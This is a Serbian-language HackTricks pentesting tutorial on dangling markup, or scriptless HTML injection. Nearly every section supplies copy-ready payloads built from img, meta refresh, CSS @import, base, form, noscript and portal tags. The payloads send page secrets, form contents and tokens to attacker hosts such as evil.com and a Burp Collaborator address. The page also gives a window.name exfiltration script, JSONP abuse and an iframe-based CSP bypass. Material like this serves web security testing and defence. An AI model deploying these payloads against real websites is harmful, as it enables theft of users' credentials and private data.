hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

259 lines
14 KiB
Markdown

# Dangling Markup - HTML scriptless injection
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Rezime
Ova tehnika može se koristiti za izvlačenje informacija od korisnika kada se **pronađe HTML ubacivanje**. Ovo je veoma korisno ako **ne možete pronaći način da iskoristite** [**XSS** ](../xss-cross-site-scripting/)ali možete **ubaciti neke HTML tagove**.\
Takođe je korisno ako je neka **tajna sačuvana u običnom tekstu** u HTML-u i želite je **eksfiltrirati** sa klijenta, ili ako želite da zavarate izvršavanje nekog skripta.
Nekoliko tehnika komentarisanih ovde može se koristiti za zaobilaženje nekih [**Content Security Policy**](../content-security-policy-csp-bypass/) putem eksfiltracije informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
## Glavne Primene
### Krađa tajni u običnom tekstu
Ako ubacite `<img src='http://evil.com/log.cgi?` kada se stranica učita, žrtva će vam poslati sav kod između ubačene `img` oznake i sledeće navodnika unutar koda. Ako se tajna nađe u tom delu, ukradećete je (isto možete uraditi koristeći dvostruki navodnik, pogledajte šta bi moglo biti interesantnije za korišćenje).
Ako je `img` oznaka zabranjena (zbog CSP na primer) takođe možete koristiti `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
Napomena da **Chrome blokira HTTP URL-ove** sa "<" ili "\n" u njima, pa možete pokušati sa drugim protokolima poput "ftp".
Takođe možete zloupotrebiti CSS `@import` (će poslati sav kod dok ne pronađe ";")
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
Takođe možete koristiti **`<table`**:
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Možete takođe ubaciti `<base` tag. Sve informacije će biti poslate dok se navodnik ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će base tag promeniti domen na koji link pokazuje):
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
### Krađa formi
```html
<base href='http://evil.com/'>
```
Zatim, obrasci koji šalju podatke putanjom (kao što je `<form action='update_profile.php'>`) će slati podatke na zlonamernu domenu.
### Krađa obrazaca 2
Postavite zaglavlje obrasca: `<form action='http://evil.com/log_steal'>` ovo će prebrisati sledeće zaglavlje obrasca i svi podaci iz obrasca će biti poslati napadaču.
### Krađa obrazaca 3
Dugme može promeniti URL na koji će informacije iz obrasca biti poslate pomoću atributa "formaction":
```html
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
Napadač može koristiti ovo da ukrade informacije.
Pronađite [**primer ovog napada u ovom opisu**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### Krađa tajnih tekstualnih informacija 2
Koristeći poslednju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlja forme) možete zatim ubaciti novo polje za unos:
```html
<input type='hidden' name='review_body' value="
```
i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad meša "_**Krađu tajnih tekstova u čistom obliku**_" sa "_**Krađom formi2**_".
Možete uraditi istu stvar ubacivanjem forme i `<option>` oznake. Svi podaci dok se ne pronađe zatvoreni `</option>` će biti poslati:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
### Injekcija parametara obrasca
Možete promeniti putanju obrasca i ubaciti nove vrednosti kako bi se izvršila neočekivana radnja:
```html
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```
### Krađa tajnih tekstova u čistom tekstu putem noscript
`<noscript></noscript>` je oznaka čiji će sadržaj biti tumačen ako pregledač ne podržava JavaScript (možete omogućiti/onemogućiti JavaScript u Chrome-u na [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Način za eksfiltraciju sadržaja web stranice od tačke ubacivanja do dna ka sajtu koji kontroliše napadač biće ubacivanje ovoga:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Bypassing CSP sa korisničkom interakcijom
Iz ovog [portswiggers istraživanja](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) možete naučiti da čak i u **najstrože ograničenim CSP okruženjima** još uvek možete **izfiltrirati podatke** sa određenom **korisničkom interakcijom**. U ovom slučaju ćemo koristiti payload:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Napomena da ćete zatražiti od **žrtve** da **klikne na link** koji će je **preusmeriti** na **payload** koji kontrolišete. Takođe, obratite pažnju da će **`target`** atribut unutar **`base`** taga sadržati **HTML sadržaj** do sledećeg jednostrukog navodnika.\
To će rezultirati time da će **vrednost** **`window.name`** biti sav taj **HTML sadržaj** kada se klikne na link. Stoga, pošto **kontrolišete stranicu** na koju žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **eksfiltrirati** te podatke:
```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Zavaravajući radni tok skripte 1 - Napad na HTML namespace
Umetnite novi tag sa id-om unutar HTML-a koji će prepisati sledeći tag i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacije deliti:
```html
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
```
### Zavaravajući radni tok skripte 2 - Napad na skriptni prostor imena
Kreirajte promenljive unutar JavaScript prostora imena ubacivanjem HTML tagova. Zatim će ova promenljiva uticati na tok aplikacije:
```html
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
```
### Zloupotreba JSONP
Ako pronađete JSONP interfejs, možete pozvati proizvoljnu funkciju sa proizvoljnim podacima:
```html
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
```
Ili čak možete pokušati da izvršite neki JavaScript:
```html
<script src='/search?q=a&call=alert(1)'></script>
```
### Zloupotreba Iframe-a
Dete dokumenta poseduje mogućnost da pregleda i izmeni svojstvo `location` svojstvo svojstvo roditelja, čak i u situacijama prekograničnog saobraćaja. Ovo omogućava ugrađivanje skripte unutar **iframe**-a koja može preusmeriti klijenta na proizvoljnu stranicu:
```html
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```
Ovo se može ublažiti nečim poput: `sandbox=' allow-scripts allow-top-navigation'`
Iframe takođe može biti zloupotrebljen da bi procurele osetljive informacije sa druge stranice **koristeći atribut imena iframe-a**. To je zato što možete kreirati iframe koji ugrađuje sam sebe zloupotrebljavajući HTML ubacivanje koje čini da **osetljive informacije izgledaju unutar atributa imena iframe-a** i zatim pristupiti tom imenu iz početnog iframe-a i procuriti ga.
```html
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
```
Za više informacija pogledajte [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
### \<meta zloupotreba
Možete koristiti **`meta http-equiv`** da izvršite **nekoliko radnji** poput postavljanja Cookie-a: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ili izvođenje preusmeravanja (u ovom slučaju za 5s): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Ovo se može **izbeći** sa **CSP** u vezi sa **http-equiv** (`Content-Security-Policy: default-src 'self';`, ili `Content-Security-Policy: http-equiv 'self';`)
### Novi \<portal HTML tag
Možete pronaći veoma **interesantna istraživanja** o iskorišćivim ranjivostima taga \<portal [ovde](https://research.securitum.com/security-analysis-of-portal-element/).\
U trenutku pisanja ovog teksta, morate omogućiti tag portala na Chrome-u u `chrome://flags/#enable-portals` ili neće raditi.
```html
<portal src='https://attacker-server?
```
### HTML Curenje
Nisu sve metode curenja povezanosti u HTML-u korisne za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Curenje
Ovo je **miks** između **dangling markup i XS-Curenja**. Sa jedne strane, ranjivost omogućava **ubacivanje HTML-a** (ali ne JS-a) na stranici **istog porekla** kao stranica koju ćemo napadati. S druge strane, nećemo **napadati** direktno stranicu na koju možemo ubaciti HTML, već **drugu stranicu**.
{% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md)
{% endcontent-ref %}
## XS-Pretraga/XS-Curenje
XS-Pretrage su usmerene na **eksfiltraciju informacija preko granica porekla** zloupotrebom **napada bočnim kanalom**. Stoga, to je drugačija tehnika od Dangling Markup-a, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML oznaka (sa i bez izvršenja JS-a), poput [**Ubacivanja CSS-a**](../xs-search/#css-injection) ili [**Učitavanja slika u lenjoj formi**](../xs-search/#image-lazy-loading)**.**
{% content-ref url="../xs-search/" %}
[xs-search](../xs-search/)
{% endcontent-ref %}
## Lista za Otkrivanje Brute-Force Napada
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
## Reference
* [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
* [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
* [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
* [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>